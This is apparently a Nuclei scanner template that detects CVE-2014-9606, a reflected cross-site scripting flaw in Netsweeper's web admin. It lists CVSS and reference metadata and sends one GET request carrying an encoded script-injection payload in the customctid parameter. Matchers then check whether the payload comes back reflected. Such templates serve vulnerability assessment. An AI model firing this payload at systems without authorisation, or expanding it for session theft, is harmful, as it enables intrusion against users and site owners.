CVE-2014-9606: Netsweeper 4.0.8 - Cross-Site Scripting

id: CVE-2014-9606

info:
  name: Netsweeper 4.0.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9606
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-9606
    cwe-id: CWE-79
    epss-score: 0.09412
    epss-percentile: 0.9251
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,xss,packetstorm

http:
  - method: GET
    path:
      - '{{BaseURL}}/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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